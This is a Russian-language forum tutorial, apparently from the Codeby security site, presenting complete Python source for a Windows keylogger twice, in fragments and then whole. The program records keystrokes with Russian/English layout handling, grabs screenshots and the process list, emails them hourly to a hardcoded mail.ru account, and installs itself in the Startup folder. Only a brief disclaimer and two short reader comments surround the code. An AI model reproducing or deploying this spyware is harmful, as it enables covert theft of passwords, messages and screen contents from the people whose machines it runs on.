• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Статья Python для новичка. Keylogger, который ты не найдешь в сети

Привет Codeby!

main.jpg


Знаю, что тема заезжена, но тем не менее все, что можно найти в сети по запросу "логгер на питон" - это стандартный код библиотеки, которая взаимодействует с api windows и перехватывает нажатия клавиш. В свое время я смотрел xcode на тубе и его реализация достаточно интересна и познавательна (включая весь курс). Логи клавиатуры могут быть полезны не только злоумышленникам, но и обычным IT-специалистам, которые не в курсе, что же такое там нажимают юзвери, что ломает программу - заставляя ее работать не так, как надо. Средство - такое себе, но имеем то, что имеем.

Дисклеймер: Все данные, предоставленные в данной статье, взяты из открытых источников, не призывают к действию и являются только лишь данными для ознакомления, и изучения механизмов используемых технологий.



Схема

Проблемы, которые могут возникать - это то, что обычная библиотека pynput, которую я буду юзать, записывает логи на той раскладке, на которой был запущен скрипт. Если менять раскладку в процессе - это не всегда срабатывает (особенно, если начать отправлять лог по почте). Еще один пункт это то, что просто записывать нажатия недостаточно - надо добавить что-нибудь поинтереснее. Поэтому в этом скрипте я буду :

1. Собирать лог нажатий опрашивая раскладку клавы
2. Собирать информацию о запущенных процессах на тачке
3. Снимать скрин экрана
4. Отправлять все это добро на нашу почту ( которая будет захардкожена в скрипте и да, это вариант не очень, но сильно париться на счет левой почты не буду, пофиг )


Да, и хочу заметить - что супер-мега логгеры на питоне не пишутся. Если хотите разобраться, как работает api винды и т.д. - надо выбрать как минимум Си. Будет интереснее и незаметнее. Хотя... все зависит от вашей изощренности и квалификации. Как то так )

Библиотеки

Python:
import os
import threading
import getpass
import platform
from winreg import *
import datetime
import pynput.keyboard
import ctypes
import socket
import subprocess
from PIL import ImageGrab
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication

Пожалуй, тут все ясно. smtp - для почты, pyinput - делает основную работу логирования, ImageGrab - умеет делать скрины, subprocess - может получать разную информацию о системе.

Ловим раскладку

Для того, чтобы исправить траблы с раскладкой, я буду использовать библиотеку ctypes. Ctypes - библиотека внешних функций, которая предоставляет C-совместимые типы данных и позволяет вызывать функции из DLL или разделяемых библиотек. Её можно использовать для обёртки этих библиотек в чистый Python.
Python:
ru = ['й', 'ц', 'у', 'к', 'е', 'н', 'г', 'ш', 'щ', 'з', 'х','ъ', 'ф', 'ы', 'в', 'а',
    'п', 'р', 'о', 'л', 'д', 'ж', 'э', 'я', 'ч', 'с', 'м', 'и', 'т', 'ь', 'б', 'ю'
     ]

en = ['q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', '[',']', 'a', 's', 'd', 'f',
    'g', 'h', 'j', 'k', 'l', ';', "'", 'z', 'x', 'c', 'v', 'b', 'n', 'm', ',', '.'
     ]

class Keylogger:
    def __init__(self):
        # таймер sec
        self.interval = 3600
        self.email = 'mail'
        self.password = 'pwd'
        self.username = getpass.getuser()
        self.hostname = socket.gethostname()
        self.os_info = platform.platform()
        self.ip_config = self.check_task()
        self.log = 'Список процессов : \n' + self.ip_config + '\nОС : \n' + self.os_info + \
                   '\n\nПользователь/имя ПК : \n' + self.username + '/' + self.hostname
        self.key_array = ['<96>', '<97>', '<98>', '<99>', '<100>', '<101>',
            '<102>', '<103>', '<104>', '<105>'
            ]

    def catch_keyboard_layout(self):
        try:
            user32 = ctypes.WinDLL('user32', use_last_error=True)
            curr_window = user32.GetForegroundWindow()
            thread_id = user32.GetWindowThreadProcessId(curr_window, 0)
            key_lang_id = user32.GetKeyboardLayout(thread_id)
            lang_id = key_lang_id & (2 ** 16 - 1)
            lang_id_hex = hex(lang_id)
            if lang_id_hex == '0x409':
                return 'EN'
            if lang_id_hex == '0x419':
                return 'RU'
        except:
            pass

В методе __init__ надо заменить клавиши Numpad на адекватные цифры (<96> = 0) self.interval - интервал в секундах между сообщениями на мыло self.log - в каждом заголовке сообщения будет добавлять более/менее полезную информацию .


Функции логирования

Основная функция logging опрашивает раскладку, ловит нажатия и нормализует некоторые символы. Как только увидим флаг 'RU' - просто сопоставляем индексы из наших списков ru и en. В append_to_log создаём переменную, значение которой и отправим на почту.
Python:
    def append_to_log(self, string):
        self.log = self.log + string

    def logging(self, key):
        try:
            current_key = str(key.char)
            lang = self.catch_keyboard_layout()
            if key.char == None:
                current_key = '{}'.format(key)
                if current_key in self.key_array:
                    search_index = self.key_array.index(current_key)
                    current_key = str(search_index)
                    print(current_key)

            if lang == 'RU':
                for i in en:
                    if current_key == i:
                        current_key = ru[en.index(i)]

        except AttributeError:
            if key == key.space:
                current_key = ' '
            else:
                current_key = ' ' + str(key) + ' '
        self.append_to_log(current_key)


Отправка логов на почту

Итак, формируем сообщение в send_mail и отправляем через report, обнуляя self.log. После этого в потоке запускаем таймер с нашей переменной self.interval. Как только поток досчитает до нужного интервала, то снова выполниться self.report. Такая вот реализация простого таймера:
Python:
def report(self):
        self.screen()
        self.send_mail(self.email, self.password, '\n\n' + self.log)
        self.log = ''
        os.remove('screen.jpg')
        timer = threading.Timer(self.interval, self.report)
        timer.start()

    def send_mail(self, email, password, message):
        try:
            date = str(datetime.datetime.now())[:19]
            msg = MIMEMultipart()
            msg['Subject'] = 'Logged    ' + date
            msg['From'] = email
         
            part = MIMEText(message)
            msg.attach(part)
         
            part = MIMEApplication(open('screen.jpg', 'rb').read())
            part.add_header('Content-Disposition', 'attachment', filename='screen.jpg')
            msg.attach(part)

            server = smtplib.SMTP('smtp.mail.ru', 25)
            server.ehlo()
            server.starttls()
            server.login(email, password)
         
            server.sendmail(msg['From'], [email], msg.as_string())
        except:
            pass


Остальные плюшки

Делаем скриншот, ловим тасклист и добавим в автозагрузку на всякий случай.
Python:
    def screen(self):
        snapshot = ImageGrab.grab()
        save_path = os.path.dirname(os.path.realpath(__file__)) + r'\screen.jpg'
        snapshot.save(save_path)

    def check_task(self):
        command = 'tasklist'
        try:
            result = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
            return result.decode('cp866')
        except subprocess.CalledProcessError:
            pass

    def add_start_up(self, file_path=""):
        try:
            if file_path == "":
                file_path = os.path.dirname(os.path.realpath(__file__))
            bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % self.username
            with open(bat_path + '\\' + "autorun.bat", "w+") as bat_file:
                bat_file.write('@echo off\n' + 'cd %s\n' % file_path + 'start keylogger.py\n' + 'exit')
            # Путь в реестре
            key_my = OpenKey(HKEY_CURRENT_USER,
                             r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
                             0, KEY_ALL_ACCESS)
        except:
            pass

def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.logging)
        self.add_start_up()
        with keyboard_listener:
            # включить рассылку
            self.report()
            keyboard_listener.join()

if __name__ == '__main__':
    logger = Keylogger()
    logger.start()

Сам keyboard.Listener запускается в методе start()

Не допускаю, что это может потребоваться в каких-то "злых" целях. Может сама идея может быть полезна для администрирования или еще чего-то интересного. Смотрите сами.

Также открыт для сообщений в лс - пишите что-нибудь интересно - полезное или идеи, на которые можно было бы создать интересные темы, предложения . Ниже прилагаю скрипт целиком:
Python:
import os
import threading
import getpass
import platform
from winreg import *
import datetime
import pynput.keyboard
import ctypes
import socket
import subprocess
from PIL import ImageGrab
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication


ru = ['й', 'ц', 'у', 'к', 'е', 'н', 'г', 'ш', 'щ', 'з', 'х','ъ', 'ф', 'ы', 'в', 'а',
    'п', 'р', 'о', 'л', 'д', 'ж', 'э', 'я', 'ч', 'с', 'м', 'и', 'т', 'ь', 'б', 'ю'
     ]

en = ['q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', '[',']', 'a', 's', 'd', 'f',
    'g', 'h', 'j', 'k', 'l', ';', "'", 'z', 'x', 'c', 'v', 'b', 'n', 'm', ',', '.'
     ]


class Keylogger:
    def __init__(self):
        # таймер sec
        self.interval = 3600
        self.email = 'mail'
        self.password = 'pwd'
        self.username = getpass.getuser()
        self.hostname = socket.gethostname()
        self.os_info = platform.platform()
        self.ip_config = self.check_task()
        self.log = 'Список процессов : \n' + self.ip_config + '\nОС : \n' + self.os_info + \
                   '\n\nПользователь/имя ПК : \n' + self.username + '/' + self.hostname
        self.key_array = ['<96>', '<97>', '<98>', '<99>', '<100>', '<101>',
            '<102>', '<103>', '<104>', '<105>'
            ]

    def catch_keyboard_layout(self):
        try:
            user32 = ctypes.WinDLL('user32', use_last_error=True)
            curr_window = user32.GetForegroundWindow()
            thread_id = user32.GetWindowThreadProcessId(curr_window, 0)
            key_lang_id = user32.GetKeyboardLayout(thread_id)
            lang_id = key_lang_id & (2 ** 16 - 1)
            lang_id_hex = hex(lang_id)
            if lang_id_hex == '0x409':
                return 'EN'
            if lang_id_hex == '0x419':
                return 'RU'
        except:
            pass

    def append_to_log(self, string):
        self.log = self.log + string

    def logging(self, key):
        try:
            current_key = str(key.char)
            lang = self.catch_keyboard_layout()
            if key.char == None:
                current_key = '{}'.format(key)
                if current_key in self.key_array:
                    search_index = self.key_array.index(current_key)
                    current_key = str(search_index)
                    print(current_key)

            if lang == 'RU':
                for i in en:
                    if current_key == i:
                        current_key = ru[en.index(i)]

        except AttributeError:
            if key == key.space:
                current_key = ' '
            else:
                current_key = ' ' + str(key) + ' '
        self.append_to_log(current_key)

    def report(self):
        self.screen()
        self.send_mail(self.email, self.password, '\n\n' + self.log)
        self.log = ''
        os.remove('screen.jpg')
        timer = threading.Timer(self.interval, self.report)
        timer.start()

    def send_mail(self, email, password, message):
        try:
            date = str(datetime.datetime.now())[:19]
            msg = MIMEMultipart()
            msg['Subject'] = 'Logged    ' + date
            msg['From'] = email
         
            part = MIMEText(message)
            msg.attach(part)
         
            part = MIMEApplication(open('screen.jpg', 'rb').read())
            part.add_header('Content-Disposition', 'attachment', filename='screen.jpg')
            msg.attach(part)

            server = smtplib.SMTP('smtp.mail.ru', 25)
            server.ehlo()
            server.starttls()
            server.login(email, password)
         
            server.sendmail(msg['From'], [email], msg.as_string())
        except:
            pass

    def screen(self):
        snapshot = ImageGrab.grab()
        save_path = os.path.dirname(os.path.realpath(__file__)) + r'\screen.jpg'
        snapshot.save(save_path)

    def check_task(self):
        command = 'tasklist'
        try:
            result = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
            return result.decode('cp866')
        except subprocess.CalledProcessError:
            pass

    def add_start_up(self, file_path=""):
        try:
            if file_path == "":
                file_path = os.path.dirname(os.path.realpath(__file__))
            bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % self.username
            with open(bat_path + '\\' + "autorun.bat", "w+") as bat_file:
                bat_file.write('@echo off\n' + 'cd %s\n' % file_path + 'start keylogger.exe\n' + 'exit')
            # Путь в реестре
            key_my = OpenKey(HKEY_CURRENT_USER,
                             r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
                             0, KEY_ALL_ACCESS)
        except:
            pass

    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.logging)
        self.add_start_up()
        with keyboard_listener:
            # включить рассылку
            self.report()
            keyboard_listener.join()

if __name__ == '__main__':
    logger = Keylogger()
    logger.start()


Спасибо за внимание
 
Последнее редактирование модератором:

Trixxx

Green Team
04.04.2020
199
154
BIT
48
Интересно надо будет поюзать данный шедевр
Шедевр это да 😄 Почту лучше гугл использовать. И надо сказать всё что вызывает системные функции работы с клавиатурой - очень неплохо перехватывают антивирусы.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!